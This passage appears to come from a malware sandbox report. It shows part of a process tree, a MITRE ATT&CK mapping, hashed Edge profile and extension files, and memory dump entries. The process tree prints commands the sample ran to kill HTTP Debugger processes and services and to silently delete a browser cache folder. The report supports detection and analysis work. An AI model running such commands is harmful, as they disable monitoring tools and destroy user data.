  - Suspicious use of WriteProcessMemory
  PID:4348
- - C:\Windows\system32\taskkill.exe
    taskkill /FI "IMAGENAME eq httpdebugger*" /IM * /F /T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2600
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop HTTPDebuggerPro >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1076
- - C:\Windows\system32\sc.exe
    sc stop HTTPDebuggerPro
    3⤵
    - Launches sc.exe
    PID:256
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /IM HTTPDebuggerSvc.exe /F >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5676
- - C:\Windows\system32\taskkill.exe
    taskkill /IM HTTPDebuggerSvc.exe /F
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2400
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c @RD /S /Q "C:\Users\%username%\AppData\Local\Microsoft\Windows\INetCache\IE" >nul 2>&1
  2⤵
  PID:3780

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:5416

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:4236

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:1068

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 ac1b1f93ff87eb876027f4166d705375c0f5d3d22dcb03f6a66f6100e88dd10f
MD5 b99f03c5cfe71b03836f8b5fcf09425b
SHA1 8a5078499c0b5ea40183efb77f9c1028c196409c
SHA512 6b9feec4ead7bf05f67d0d480907e21a3b770d8d12dedd2b0d785904186eac7448583e61abacb23582948de55c8ea2043bfd6908efd7faecdd82cee91404cfe6
TLSH
T16DD02BE037909D18C440353163D0122091006C30880923090100A02C8D3E2C3054F0BE
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 c95a47aec5edba88214fad580cb869417b6620a91d8ee97e2d0b7801d3372be5
MD5 aad5f2ca0dd16bb2ea6c7757ea569c50
SHA1 5228b0b132542be004ea1bb32f3748964d065af5
SHA512 9d59c0291d741bd9d6cf50c22972d4baef00e7c1a48d6a3311a6cc82c04ceeba6e2be9458334cb954878915cc9eb91a8fd8bc4a47c966d57a2a05d6ee8211640
TLSH
T1D4D09BE177A19D18C545353567D1522591416D31451927194241E13D9D7E2C3455F0AA
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 6KB
SHA256 26e19c31a9e2d9d80db72bcd65f1dc591f75fd337c05ef9fa9d5d7e267971cff
MD5 e5d540f86c23cfb8196be007b75bf0e0
SHA1 34259249f724d15c7dd2829590548e01c3218896
SHA512 f302000ca4c70338ad55cdcbaedd55f8b57fdb17b37e90c076899f1d5068b5e927f07a7e176139666f56f978a467d88bc37f763c7d550b29863f02652b259a93
SSDEEP 192:n0C+S/7dOf9aBLoL0qGGAx2eimBy4CxutM+xX66qEP+p9y5MR7c:0NSEF+6t5ot
TLSH
T130D195B94E7F4481D752377122F19C7832F58BB3C8970ECB6894E0FBA489B8874620D0
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index~RFe5a7b6b.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe5a7b6b.TMP
Size 2KB
SHA256 d7516d3766ece21535d32afa88da6356c5584661823310781bde074fcdb1940e
MD5 3d91f682f99318101ac3c76ae78a85bc
SHA1 0aba35c606a312513c2f1999012a2711108d5d73
SHA512 44f73d5d0d26aacfd77a2ef71473e9fc0e9645980cbb6eb374fe9aa021616627dd05960d72d41c573a8a9060491e66b30efde9f7f5cb7ac91e0760b2d498c97e
TLSH
T1D95181A8477B89C2DB2B97B24BF3818A32F6C5D64A0B5FEE4C4820F4F04EF5DA042151
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 1KB
SHA256 e08c6c2c54ef405389bcc69f9b3d5b366711e5e2262cd5b390210dbeb0a07cb3
MD5 005447503d6ad5a93440eff2f38aaa7b
SHA1 c273442039f435344512c54b9224334d5093eddc
SHA512 c257d563d9bf426e38956db352fd1084d3b33a15db779debe1fca58608113d862b5e9ceaa943cae70abe8ab2717677e9e9ccbb09c2db2d57206dc9dc02da6c01
TLSH
T17721ABF3C2E8567D894181F467182F1BCE2D0814832C3E6AC4D4AB5F93F5861D24095E
MD5 SHA1 SHA512 TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 3KB
SHA256 ec84a881e14e9f80df4587b348cfa4f422651a109ae9dfc9ef9596e2b68a73b9
MD5 af2c1752d8c6da2b2592f117f4d7410b
SHA1 2a820357d1e0010cb9d4b30ead0fe08c61fe5138
SHA512 524c13a58096a44eea95a82a3bd3b860191f4a3b8a66e37db2ff5d16eb78ae670dba400aa98f58eb50124e00dc138188e3027c0c39434c46b315177962371769
TLSH
T1A261BBF387E8862DD90152F0AB187E2FCF2C0954432C3D6AC9E4AE5B97E2471E141A5F
MD5 SHA1 SHA512 TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 3KB
SHA256 e5cc3bc87dc007df8b8b84bfa6e9f52ce01557f63e41c71caa81a28c770edda9
MD5 3ef624a1aa866d587bbe7ac55635a2a2
SHA1 f6763e27234e3bd98d763bbc21b0f15a034f8b8d
SHA512 d0c776598ac27146224dfd072f7c0fb0d55b56dc53debc907534386e5c143246812ee1b968f35c0935fe618a923f48c68a1958a487c359819243bf3f65b542cf
TLSH
T1E081ACF387E8862DD90152F4AA187E2FCE2C0954432C3D6EC9E4AE5B97E2471F141A5E
MD5 SHA1 SHA512 TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 1KB
SHA256 a857f5a791008205410d47200ed3ad294f47f5c6abb644a9a69fbde1285ce9d9
MD5 8bfea642920ed9e4f0fb260704183d00
SHA1 b797bd66c8c8fd133464874e0da76fd8a6cf5ecb
SHA512 7de21fe6d417ab3147c8ab76eebeac841be04e8824d15cb049a5d7c5190826ce91eb102e0cafe713ec2174c2f9377f113cc2d2c7bdec653a6bf3d3efebc571e1
TLSH
T11621CDF3C2E8567D894181F46B183F1BCE2D0814832C3E6AC4D4AB5F93F5871D24095E
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 99320ed63684cbee08c68515bbc228376f252f3e23cf1ed9278e5f95da5a7de5
MD5 0dade144980a1fdc1f9db48c28930535
SHA1 7afcec99dc554a456c7f02c22c8b1719d34d6dba
SHA512 f57e346e85bc4be77cd63fba0b7aa150b8a98c2226e6eeab0322b7b4151c148fb4ddb5cd25f530e0a5b81b2137a3d51c9a78dc5d01e0607e89632fc4be59e5cd
SSDEEP 192:sxRhR7yM/jK1Ml8wCt/f5s4430ZPqTQzoA8plM/g6+WNpwH/eBooHCYE+G9IgDSJ:sxRh38t/f5sF3KPUy/52/eohPa
TLSH
T19762DA16A6345D778CDBD319FA55BB93D2F81473A2941E44AAFCCA0C04F6AED221381F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 11KB
SHA256 d79af865f3d0fe22900684d44975ec00ce8381d7706d4ec2144bad5a36794986
MD5 d179b384770ccb9104a672d8f1f3b9c5
SHA1 c8759939f4cab57251e2de0065e81e371a7c26d3
SHA512 313dcc74c517dc6f196f1b38ffe973e4ccaec227f3292e920c4bd4022bd6aba34e9ae90318f75ad86f5830052ea2dc432a5af15e20469493cfcc37e81a60109b
SSDEEP 192:sxRKRPCt/f5sl43wGLzoA8plM/g6+WNpwH/YolCYE+G9IgFJ:sxRKEt/f5si3pqy/52/whPv
TLSH
T18F32A61669289D7B5CC6D219BF65BF93E2F95032A1E42E48A7FC860C04F76DD220740F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 15KB
SHA256 b052b64d33c0ee8018c95eb11604c9c3e405db459846ce28507ae7e97e588202
MD5 1738a7ad6df5ac391f4cbaa3941f54a3
SHA1 7c30d49a7d043518794ba2ebd7add0e5474138de
SHA512 1e2fdf3cadc1e2761e8cb51b165cce78b91eba99ad13268cc52e03d06faf9793e06b95983b13caa3f493440196025a1dca4ca7709994859274373af549cbe3f4
SSDEEP 192:sxRhR7yM/jK1Ml8UQWCt/f5s44l0ZPqTQzoA8pTM/g6+WNpwH/eBooXCYE+G9Igk:sxRh3qRt/f5sFlKPUo/52/e8hPk
TLSH
T10162C916A5345D778CDBD219FA55BB93D2F81473A2941E44AAFCCA0C00F7AED221381F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 32KB
SHA256 760d83dd71a8d014101a8a4c45230a388b6bfe181e42353d1bc47542237b75f7
MD5 bccf59da91287fdbce2c25acf75cc92f
SHA1 6113d5ceb903409091999a46fb8290ce0f600b81
SHA512 2407311c0afa803cfbf45df9af43dd40488bf0a71b3d97c4aac0a5b8918c133053fbda38605fa5db27c8ed742895cc00febb5b57c0f42217e884e3f6b785fd1b
SSDEEP 768:jXwHno7pLuL7gRWgs2f728F1+UoAYDCx9Tuqh0VfUC9xbog/OVS2pVuGOrockQek:jXwHnUE7gRWgs2f72u1jaF2p4GFdJm
TLSH
T1E5E2FC7B680CCBBE4F404A9DEC29BD9E6DA802CB56988D5447FA840C03C6BEB51175DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 27KB
SHA256 809aa6943456982667226ae705717285a249fcd904804ea015d484b209ea4360
MD5 44b319a0d1be794a2d97afc1e0517a8a
SHA1 bccdc116ccd4eff0045e60727cc04d23681f1186
SHA512 2ef0dc900d96af77b5f3184b3ac60591fffd825ef92ec741e088471fd0f3b00eb7ed051d104d8950da2068dbee1e15d9dd545ba21d4abae9861981e699a30d40
SSDEEP 768:j26HRo7pLuL7MRWgs2f028F1+UoAYDCx9Tuqh0VfUC9xbog/OVfVuwOro9ve0UrL:j26HRUE7MRWgs2f02u1jaQ4wF+L
TLSH
T17BC2EB6B740CCEBF4F800ADDEC197E9F6D6802CB9698CD8047FE951C02C6BEA51164DA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

index.txt

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\7d571773fef4871f82ca0457379cf2a39317562f\index.txt
Size 226B
SHA256 bf7ecb55d699ed2a4f1b3db4d36aed325da8438f91dcc6f921e504a2b2965aaf
MD5 c652243174877e1305c569c3ec3a3100
SHA1 19cfcbca1a1e44b803292de8394a5a6a4e4a71d4
SHA512 4b7c34234bee815480b4e5c27484159571941be20e70787d8b40f87a894f64f16ba9ec180b83f110a058113aa1a7d466704b9fbff1ed61d976ba5cbfd4e26fec
TLSH
T175D0972BE18804E1EB6F8BA62772502E821C3CC94094A2CCB00204581800E038203EA2
MD5 SHA1 SHA512 TLSH

Submit Download

index.txt

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\7d571773fef4871f82ca0457379cf2a39317562f\index.txt
Size 233B
SHA256 1d0777d4b2a1d5c78d2649efbf1e0ec62af266082776a4677a04b67297d9a181
MD5 fa9e8ec9515cebd61294884dff0fa9d7
SHA1 d1207341742ffca1a346a60d442b8dd52dca817f
SHA512 f01afed73940b01592de0cf9e7357c990f0b1d66de04c56fbeeca642351254893d9ad0503cff617634671eb7889525137bae4cac230cb0858b32d7e05b92235c
TLSH
T142D0972BE19904E1EB2B8BA62772506E822C2CC91580A2CCB043345C2430E038202EA2
MD5 SHA1 SHA512 TLSH

Submit Download

index.txt~RFe5a0ddc.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\7d571773fef4871f82ca0457379cf2a39317562f\index.txt~RFe5a0ddc.TMP
Size 138B
SHA256 5454aa4f1a4333f2fe3aa95afb580b57409686dab2366991dfe46f53da0ba6c5
MD5 768f18ae716e17ce5690460ad1cbed3b
SHA1 7a3f86797e1f2040854795a2ca9a1f26bc570ce5
SHA512 18334d46eab91d3a62d7a7d2bb6115a42f06d747b3affc01a6f6a3c4f5e89d17f2b9476b2bb09e08a5ab1f68e0bf608da3740408a781e8ac0bc539791647dd89
TLSH
T193C02B67B3C90522EB1542A10333514D83092CDE89DE858DB02334542030E136102ED2
MD5 SHA1 SHA512 TLSH

Submit Download

OperationConfig

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\OperationConfig
Size 22KB
SHA256 d988156066b7fd22de278fbc96759d2caea6552094ffeb2ddd9307806059c5e4
MD5 f768bcb451a187c18099961c484eef8b
SHA1 99472c2d1918ea56c632734bc5c8a89ae6d2551c
SHA512 a4d78de6bcc1e940c466c41c31ee100235b32fef4cb3e7815a9c62dfae1eb3e4588d2c9e8597152ad7754527643c59ea8b811277ac58e4134a3dbf1507fe97bf
SSDEEP 384:90JOk/FY7A42lagbkDtCkQ7wDThH/64+hkmbA6BQpGMgSVlkFIum1z4tfLTvq/ue:WJOk/FY7/2lagbCtCkQ7wDlH/h+umbAJ
TLSH
T131A2B81DC81C7E3257CA2F7D6A2F9DB276DA30CA7080459A7E8CC54DD31B0AD56862BC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

OperationConfig~RFe5ad2c2.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\OperationConfig~RFe5ad2c2.TMP
Size 3KB
SHA256 8b2e057387e9714efef3580a36459acf56aab53c806cd7d7dbb6e17cef977ef9
MD5 904e6e94a1d46374c8630cfd86cc729f
SHA1 e1d9c3f7813878acc6510d48d95b2bf48b2e1a0d
SHA512 081e2a26252860ff8d8f7a9d0378ae56f0cc50574d13d2a121afdf74284963747ef874a4d73b1df7774cd8570972f4f513eefe0a0325fd088556d5b1ba946712
TLSH
T1DB815C4FCC0CBE77ABAB6A719A35D6B2F79131EA94518A977F8C444EE3050ED0242E50
MD5 SHA1 SHA512 TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 35KB
SHA256 db2ec33f6b733ca1ae2a9fe0113c96244d95e10ad310e417019f990a2b2ba27b
MD5 7dac613b28e6c1137126578bb2dfbe0b
SHA1 4f6b09fc57f304dfbec65ae7399d7345451625e1
SHA512 b2407e63bf2e5382401600ceae5b4bbe5fc3ba4f3f55fed123e43f169b4a4ca50680fd16a7ce5d661bf4463fe440ef2cc2f6d89fcd7b1a5912664f977417c27b
SSDEEP 768:7j+9j3Yv/TBOWSzONXyer1IRCzni9vb9Mb:u9j3YGSIqnYb+b
TLSH
T185F2BF31E4569E234CE6E396B10737D7BFF420BBC5841A54EEE99F0D059366D130B41A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 38KB
SHA256 17c884d8d8042f3ce393ecd111876d13e0d6a408202ac1c4433a76d673dbadd4
MD5 279a402089b155ca34b53b3312506964
SHA1 1c87fb8b40e6dd97e96b7b1acba8a31d07ebae6c
SHA512 09dfa27f85ee7771c85ff96d20fa0c4839fbb5f1ec89245fb2eb3b61aa49e58df79ff9bb601b548a58cad827277a45b56294a9ccba614e792ed88129f02e0cab
SSDEEP 768:jrv+4UNbdz3bv/TBOWSeONXyer1IRCzni9vOu2S:jbsbV3D9SIqnYv
TLSH
T1D803BF31E4999E274CE6A396B00776837FF82067C9C10B60EDEA6F8D05975AE230F517
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 38KB
SHA256 39da16d18ed76546dd13c88d2a57af49bc2beb7a79eee4f0c47c097514a1b376
MD5 1c39168f8e7ff400ec81fc3b675b04e2
SHA1 11404497b00ae65182189156010ce6a33ca28897
SHA512 479ba705da517f7e3ca40114379b08e7acacc1b3a6fef08ed4abe065e8868092d92b09e6b26fdfba0f1e2764937ea44adde1a61dc6b06c81d6b05d84c328d946
SSDEEP 768:EFKj+9K3JwglQcsOWS4ONXyer1IRCzni9vb9Mb:E9K3mnSIqnYb+b
TLSH
T167039D36D885CF2B9CE297D6B2067787AEF410BBC9C859D4EED95F4D00D35AD030A806
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 38KB
SHA256 722aba81a0e60bc3bc37190a636efbba517e434c19293d358443bdd4f48b8c29
MD5 4ce8890a949c21342cd60558b9f9228b
SHA1 b5469d7a4d6f869d88b1bc585ed0d38725cd1a8e
SHA512 84b38de26fcb4f7c100639f79b80680c41f85ebb7a3d4fc0630ac7f5d293c64d4279ff1d83baf51042c09ecc568351bd168b675e87d9a9a86754a74979a0d18d
SSDEEP 768:hrv+4UNbdz3TF/TBOWTONXyer1IRCzniBXeVH1SK7:hbsbV3ZdSIqnEEH1l
TLSH
T1E503BF32E4989E338CE2A395B04776437FF86057DA840790EDDE2F4E069B59E130B957
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 35KB
SHA256 b0f3782c3ebdc75b1b52de66d591aa0e001fb32f5111cb5598ddd6e4821d8f48
MD5 3cdfcdec9bf799faf06a9843be6d91ff
SHA1 ef0fd6347fcf91badbe24d6c7fed9214a6d93899
SHA512 7f6d8df3b7f7525d2daa2fc9dca1daa93de44f27fabd0f0590ee93ff9ff452e4aa0345506f13b346575c7cdc19dd742b4f3750631560000aadf286441616e196
SSDEEP 768:3j+9j3Fv/TBOWSSONXyer1IRCzni9vb9Mb:69j3JtSIqnYb+b
TLSH
T112F2BF31E8569E234CA6E396B10737D7BFF420BBC5841A54EDE9AF0E0593A6D130B41A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 35KB
SHA256 d524b0a29c532a92f3a05e68198a698e88580e327fd600250577aad321571ecf
MD5 17888fdd208f5b446a8f17deabe70f7d
SHA1 7552eeeb8986935f6e61bb89a575bb502e3efd9c
SHA512 9013ac35e6376dcad680e74125f7e43a1607e0b183e7683b09cf80ef040d56c34aeda842420b308cfdaefd768d1ce3a08250f74e6e487d68084a6569cdde41cd
SSDEEP 768:Aj+9j3Hv/TBOWSzONXyer1IRCzni9vb9Mb:/9j3PGSIqnYb+b
TLSH
T17DF2BF31E4569E234CE6E396B10737D7BFF420BBC5841A54EEE99F0D059366D130B41A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 372B
SHA256 02092b017b3b45a2cf26673a6a2c3fa2b49ab211943cadade98b98777ee73afc
MD5 2a1939fc3b2926cf2b82fae71c5f6bee
SHA1 3f9d6974ce660bbc0c85f3d9741b734cfd466fac
SHA512 cceb75873ca288bfcb71f5d74fec5ad8ca61807ec55369055f4fbd095fd904097c974102d3296db3a1aa949c6edc5abd1a7c320e53daaf947ee61c28f5659707
TLSH
T1A3E068C29D7D26C196E60F7FD04B69F844C4580AF048697A088DE8C8913A94B258287E
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 492B
SHA256 9107e613905835c00077a499d2faa20bb70b974e6309d1f2f33ae52933318f07
MD5 2012d4de563c653f56f62ccbf46db598
SHA1 fb24881003593f1ceb79019e52ce5ee9e94c889c
SHA512 c03d6584395c1c97c75af7dc6df57df358d3957035521bb6833c538679683aebe0410bb12586472b84dc98111e703984dd37868464fa9c66fdafb423e763b555
TLSH
T10CF00E829C3E25C086E90F7FE44725F840C46517B0883879088DE9D8813A40F11414BE
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 252B
SHA256 9ea5bbd4491542e3878ce1dc40d90744197996ad91a29e27be679d4bec62570d
MD5 551baa462724351873ccd655a8b64ea3
SHA1 ce2be3c6d77008467bc61ac14822065cf2376630
SHA512 8de58d8e979531498751d7416c6b10671da1b048181a23081fc15e7aca69a96a93676b3bf01415c3b5f8d1973511e5823b0f11cacddfc3e5d01e82cefedff632
TLSH
T163D095C34D7D12C14FD50F7BD087ACF80480540DE55C2A7A044CD8C04115C1B75C142F
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 132B
SHA256 f4aa1676b1cc0e8c932821d57f7e6ec93246f48d7b840aca2d58ef9fac0ecd03
MD5 f5a3b29f9a977e23d6ca4eb728238f9f
SHA1 d2c5576fff1189eb66493b5b677d79a8ecead68d
SHA512 6f692909efad02642f6c3a4b7cd10b21760c6fbfd3bae39d3b8a77b22460fcd5f6b0ab6e262b007e533c406a981968b3e0894697ca50be7f10bf557f1c1972f3
TLSH
T128C02BD0883D5142CD620D5AC04301F420005C1C641C0A7804C814C0401142F328042E
MD5 SHA1 SHA512 TLSH

Submit Download

52ef277d-c544-4bcc-b603-064198a0cb53.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\52ef277d-c544-4bcc-b603-064198a0cb53.tmp
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download

content_new.js

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir5792_988826145\CRX_INSTALL\content_new.js
Size 10KB
SHA256 d4aa4602a1590a4b8a1bce8b8d670264c9fb532adc97a72bc10c43343650385a
MD5 3de1e7d989c232fc1b58f4e32de15d64
SHA1 42b152ea7e7f31a964914f344543b8bf14b5f558
SHA512 177e5bdf3a1149b0229b6297baf7b122602f7bd753f96aa41ccf2d15b2bcf6af368a39bb20336ccce121645ec097f6bedb94666c74acb6174eb728fbfc43bc2a
SSDEEP 192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
TLSH
T1DB22B68DA5A8ED7C1AC0C952E50EA62E5D342531E6E7A30320874ED8015CFB9D519FFD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/5620-10-0x00007FF916240000-0x00007FF916BE4000-memory.dmp

Download

memory/5620-11-0x00007FF916240000-0x00007FF916BE4000-memory.dmp

Download

memory/5620-12-0x00007FF916240000-0x00007FF916BE4000-memory.dmp

Download

memory/5620-41-0x00007FF916240000-0x00007FF916BE4000-memory.dmp

Download

memory/5620-0-0x00007FF9163CF000-0x00007FF9163D0000-memory.dmp

Download

memory/5620-2-0x00007FF916240000-0x00007FF916BE4000-memory.dmp

Download

memory/5620-44-0x00007FF916240000-0x00007FF916BE4000-memory.dmp

Download

memory/5620-450-0x00007FF916240000-0x00007FF916BE4000-memory.dmp

Download

memory/5620-15-0x000001E54A370000-0x000001E54A392000-memory.dmp

Download

memory/5620-23-0x00007FF916240000-0x00007FF916BE4000-memory.dmp

Download

memory/5620-1-0x00007FF916240000-0x00007FF916BE4000-memory.dmp

Download

memory/5620-46-0x00007FF916240000-0x00007FF916BE4000-memory.dmp

Download